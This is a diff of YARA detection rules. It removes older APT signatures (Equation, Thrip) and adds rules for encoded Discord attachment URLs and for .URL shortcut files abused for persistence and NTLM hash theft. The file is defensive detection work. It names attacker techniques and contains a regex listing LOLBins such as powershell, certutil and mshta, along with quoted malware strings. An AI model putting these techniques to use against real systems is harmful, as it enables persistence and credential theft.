+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L423-L448"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1ea5a83e91b5c5b4b8a1d507c365bc1583394c97a28b7d7a576f085854676769"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s0 = "volrec.sys" fullword wide
-		$s1 = "volrec.pdb" fullword ascii
-		$s2 = "Volume recognizer driver" fullword wide
+		$enc_b01 = "Y2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRz" ascii wide
+		$enc_b02 = "Nkbi5kaXNjb3JkYXBwLmNvbS9hdHRhY2htZW50c" ascii wide
+		$enc_b03 = "jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudH" ascii wide
+		$enc_b04 = "AGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABz" ascii wide
+		$enc_b05 = "BjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAc" ascii wide
+		$enc_b06 = "AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AH" ascii wide
+		$enc_h01 = "63646E2E646973636F72646170702E636F6D2F6174746163686D656E7473" ascii wide
+		$enc_h02 = "63646e2e646973636f72646170702e636f6d2f6174746163686d656e7473" ascii wide
+		$enc_r01 = "stnemhcatta/moc.ppadrocsid.ndc" ascii wide
 
 	condition:
-		all of them
+		filesize <5000KB and 1 of them
 }
-rule SIGNATURE_BASE_Apt_Equation_Keyword : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Local_URL : FILE
 {
 	meta:
-		description = "Rule to detect Equation group's keyword in executable file"
-		author = "Florian Roth"
-		id = "a7d4eda5-f390-5099-9c46-bf74a878b4f0"
-		date = "2015-09-26"
+		description = "Detects local script usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
+		id = "438d9323-cb6a-5f5d-af71-76692b93436a"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L592-L603"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d9a2b31d078eabbc930e9ec06e5ead5a6cda4eebf1c0ebe8164caf75a9d3cba6"
-		score = 75
+		reference = "https://twitter.com/cglyer/status/1176184798248919044"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e95e5e97760d9b565184c588fdafe8408cdab61959aee5221485df53ef5f51d6"
+		score = 50
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$a1 = "Backsnarf_AB25" wide
-		$a2 = "Backsnarf_AB25" ascii
+		$file = "URL=file:///" nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and 1 of ($a*)
+		$file and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-rule SIGNATURE_BASE_MAL_CMD_Script_Obfuscated_Feb19_1 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_SMB_URL : FILE
 {
 	meta:
-		description = "Detects obfuscated batch script using env variable sub-strings"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8cc99ff5-968c-5b12-9aac-72279c1b8a6b"
-		date = "2019-03-01"
+		description = "Detects remote SMB path for .URL persistence"
+		author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
+		id = "e23609a1-9b18-5a56-92ee-c7f84c966865"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/DbgShell/status/1101076457189793793"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cmd_script_obfuscated.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "71c8831686796c921674ec293b5bdf2c42ae9069b258c85c9e0ca6a7f972daf8"
-		score = 75
+		reference = "https://twitter.com/cglyer/status/1176184798248919044"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L21-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e0bef7497fcb284edb0c65b59d511830"
+		logic_hash = "4903c8f4bb08e799f6787ad29cf7688f354f97a065bcd24c58d3ccd3778a6a15"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		hash1 = "deed88c554c8f9bef4078e9f0c85323c645a52052671b94de039b438a8cff382"
 
 	strings:
-		$h1 = { 40 65 63 68 6F 20 6F 66 66 0D 0A 73 65 74 20 }
-		$s1 = { 2C 31 25 0D 0A 65 63 68 6F 20 25 25 }
+		$file = /URL=file:\/\/[a-z0-9]/ nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x6540 and filesize <200KB and $h1 at 0 and uint16( filesize -3)==0x0d25 and uint8( filesize -1)==0x0a and $s1 in ( filesize -200.. filesize )
+		$file and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_1 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Iconremote_Smborlocal : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "5b506069-8185-5dc0-bf64-90646f6bab6b"
-		date = "2018-06-21"
+		description = "This is the syntax used for NTLM hash stealing via Responder - https://www.securify.nl/nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html"
+		author = "@itsreallynick (Nick Carr)"
+		id = "9362ce46-265c-5215-bee1-3d784d0cb928"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L13-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6e94111abe83aa500bfa35a3a7c2d43c3ed4011bc540401f047e84cfc27204ca"
-		score = 75
+		reference = "https://twitter.com/ItsReallyNick/status/1176241449148588032"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L61-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8c49908c7f52ebcd512ff2dc8c40392767769130b9d39abb9d5fc9e130edb65c"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "59509a17d516813350fe1683ca6b9727bd96dd81ce3435484a5a53b472ff4ae9"
 
 	strings:
-		$s1 = "idocback.dll" fullword ascii
-		$s2 = "constructor or from DllMain." fullword ascii
-		$s3 = "appmgmt" fullword ascii
-		$s4 = "chksrv" fullword ascii
+		$icon = "IconFile=file://" nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		$icon and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_2 : FILE
+rule SIGNATURE_BASE_Methodology_Shortcut_Hotkey : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "bc1cfcc8-64a0-5da0-8ff7-147da8a3af0b"
-		date = "2018-06-21"
+		description = "Detects possible shortcut usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr)"
+		id = "0ce377c4-db9b-59fa-987b-a77eaf408765"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L31-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ddd3dee11e25ea40fa3cc578c6a836ea850359a5914d5eb5d16ea4340827b91b"
-		score = 75
+		reference = "https://twitter.com/cglyer/status/1176184798248919044"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L80-L97"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a48f7c1125218ee89f58f1517e81150038a5d71889d847e7690b13c818b32fb5"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1fc9f7065856cd8dc99b6f46cf0953adf90e2c42a3b65374bf7b50274fb200cc"
 
 	strings:
-		$s1 = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" fullword ascii
-		$s2 = "ProbeScriptFint" fullword wide
-		$s3 = "C:\\WINDOWS\\system32\\cmd.exe" fullword ascii
+		$hotkey = /[\x0a\x0d]HotKey=[1-9]/ nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and all of them
+		$hotkey and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_3 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Baseurlsyntax : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "67ea7ed1-954f-5b3e-b058-452be3b6fdfa"
-		date = "2018-06-21"
+		description = "Detects possible shortcut usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr)"
+		id = "cab7b573-d197-5afc-95a9-ef05a07c2b7a"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L48-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f1617829ccf7da6ee2e9f692fbf1f61d3f1c6a17103db85190d6a8b4fca69328"
-		score = 75
+		reference = "https://twitter.com/cglyer/status/1176184798248919044"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L99-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4aa29bedb5689fe16c067f5ea933e56804085712c7469b138d8b658a30a7eb67"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0d2abdcaad99e102fdf6574b3dc90f17cb9d060c20e6ac4ff378875d3b91a840"
 
 	strings:
-		$s1 = "C:\\Windows\\SysNative\\cmd.exe" fullword ascii
-		$s2 = "C:\\Windows\\SysNative\\sysprep\\cryptbase.dll" fullword ascii
+		$baseurl1 = "BASEURL=file://" nocase
+		$baseurl2 = "[DEFAULT]" nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and all of them
+		all of ($baseurl*) and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_4 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Iconnotfromexeordllorico : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "9dcfcdbd-d18f-5eba-a10c-95686f010f23"
-		date = "2018-06-21"
+		description = "Detects possible shortcut usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr)"
+		id = "82d0483f-48ee-5d0c-ba7d-73d9e9455423"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L64-L85"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f258070054a29cbec0876536d295b85c7bd9f23988d1e0fc2ba58660b0796716"
-		score = 75
+		reference = "https://twitter.com/ItsReallyNick/status/1176229087196696577"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L161-L179"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "957fe9f24d08033cf6e29d7e202e04bfb579577d3850a99e97da6b70924ae88e"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6b236d3fc54d36e6dc2a26299f6ded597058fed7c9099f1a37716c5e4b162abc"
 
 	strings:
-		$s1 = "\\system32\\wbem\\tmf\\caches_version.db" ascii
-		$s2 = "ProcessName No Access" fullword ascii
-		$s3 = "Hwnd of Process NULL" fullword ascii
-		$s4 = "*********The new session is be opening:(%d)**********" fullword ascii
-		$s5 = "[EXECUTE]" fullword ascii
-		$s6 = "/------------------------------------------------------------------------" fullword ascii
-		$s7 = "constructor or from DllMain." fullword ascii
-		$s8 = "Time:%d-%d-%d %d:%d:%d" fullword ascii
-		$s9 = "\\info.config" ascii
+		$icon = "IconFile="
+		$icon_negate = /[\x0a\x0d]IconFile=[^\x0d]*\.(dll|exe|ico)\x0d/ nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 5 of them
+		any of ($url*) and $icon and not $icon_negate and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_5 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Evasion : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "42c56ed6-a509-568f-a611-ce7e5c5d9d8e"
-		date = "2018-06-21"
+		description = "Non-standard .URLs and evasion"
+		author = "@itsreallynick (Nick Carr)"
+		id = "36df4252-2575-5efa-88ce-17e68a349306"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L87-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f2d4cfd55017ebb34fb6e8ad1b0b46b184926c69d4bacee88dc639771f96792"
-		score = 75
-		quality = 85
+		reference = "https://twitter.com/DissectMalware/status/1176736510856634368"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L181-L198"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c4fafae6af3ed5cc2e83e30427107d1c42cc4bc86d5c6a60e26953a11847029f"
+		score = 50
+		quality = 35
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "32889639a27961497d53176765b3addf9fff27f1c8cc41634a365085d6d55920"
 
 	strings:
-		$s2 = "c:\\windows\\USBEvent.exe" fullword ascii
-		$s5 = "c:\\windows\\spdir.dat" fullword ascii
+		$URI = /[\x0a\x0d](IconFile|(Base|)URL)[^\x0d=]+/ nocase
+		$filetype_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$filetype_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		any of ($filetype*) and $URI and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_6 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Lolcommand : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "a1c65bc1-371e-509f-a01c-2d58c1773f95"
-		date = "2018-06-21"
-		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L103-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f6cc84ebed26a0dbecfcb3ffb3a11c111ae3d5b40497d59ada518d33bee57fdd"
-		score = 75
+		description = "Detects possible shortcut usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr)"
+		id = "061e7919-17f1-5774-ad7d-fc964dc9a947"
+		date = "2019-09-27"
+		modified = "2021-02-14"
+		reference = "https://twitter.com/ItsReallyNick/status/1176601500069576704"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L201-L219"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4ac9a555e61303a173443de2a189536c8ea0fc32ee73c589dd104275c7967c57"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "44f58496578e55623713c4290abb256d03103e78e99939daeec059776bd79ee2"
 
 	strings:
-		$s1 = "C:\\Windows\\system32\\Instell.exe" fullword ascii
+		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=[^\x0d]*(powershell|cmd|certutil|mshta|wscript|cscript|rundll32|wmic|regsvr32|msbuild)(\.exe|)[^\x0d]{2,50}\x0d/ nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 1 of them
+		any of ($url*) and any of ($file*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_7 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Webdav : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "16739590-eb88-5de2-bd76-974b3343ec19"
-		date = "2018-06-21"
+		description = "Detects possible shortcut usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr)"
+		id = "cd660b84-d7c6-52fc-9e1d-76450e5262b1"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L118-L131"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "198f8869e56d5549d9195524a86f6557162c5d25b4915bec0bf513797d880ea1"
-		score = 75
+		reference = "https://twitter.com/cglyer/status/1176243536754282497"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L222-L239"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4fec084392140245eeb25bb512f3a4631ec6be08c197ec130a907fc118161197"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6b714dc1c7e58589374200d2c7f3d820798473faeb26855e53101b8f3c701e3f"
 
 	strings:
-		$s1 = "C:\\runme.exe" ascii
+		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=\s*\/\/[A-Za-z0-9]/
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and 1 of them
+		any of ($url*) and any of ($file*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_8 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Scripturl : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "5eb98c9e-5103-5146-9364-d5f24416406f"
-		date = "2018-06-21"
+		description = "Detects possible shortcut usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr)"
+		id = "2f55f8a9-4e4b-5480-9042-da6bb66b2e06"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L133-L148"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6c8ddc7fb5f3256e57e66f502f6e3c582d82540f773bf4113cac4a685d45f81b"
-		score = 75
-		quality = 85
+		reference = "https://twitter.com/cglyer/status/1176184798248919044"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L241-L259"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ece0013dbc9836fa800f99a10ab46c1eb081e1c04fe45fe17be26ffac1d464e9"
+		score = 50
+		quality = 35
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0f2d09b1ad0694f9e71eeebec5b2d137665375bf1e76cb4ae4d7f20487394ed3"
 
 	strings:
-		$x1 = "$.oS.Run('cmd.exe /c '+a+'" fullword ascii
-		$x2 = "new $._x('WScript.Shell');" ascii
-		$x3 = ".ExpandEnvironmentStrings('%Temp%')+unescape('" ascii
+		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=[^\x0d]*script:/ nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		filesize <10KB and 1 of ($x*)
+		any of ($url*) and any of ($file*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_9 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Workingdirremote_HTTP : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "7fcd8d7f-ed60-5155-a0dd-f3a36f3f2981"
-		date = "2018-06-21"
+		description = "Detects possible shortcut usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr)"
+		id = "68e54f8a-11e4-59e4-8498-59d88e70e438"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L150-L170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0500481ae4bb7d4a223a106d2887b994e5000815704e678b2f3ff127a86c22a2"
-		score = 75
+		reference = "https://twitter.com/cglyer/status/1176184798248919044"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L261-L278"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c7c23c1253bf089519dec5f141f486425c6804640d9bffac9ce4c986ce25d323"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8e6682bcc51643f02a864b042f7223b157823f3d890fe21d38caeb43500d923e"
-		hash2 = "0c8ca0fd0ec246ef207b96a3aac5e94c9c368504905b0a033f11eef8c62fa14c"
-		hash3 = "6d0a2c822e2bc37cc0cec35f040d3fec5090ef2775df658d3823e47a93a5fef3"
-		hash4 = "0c49d1632eb407b5fd0ce32ed45b1c783ac2ef60d001853ae1f6b7574e08cfa9"
+
+	strings:
+		$icon = "WorkingDirectory=http" nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
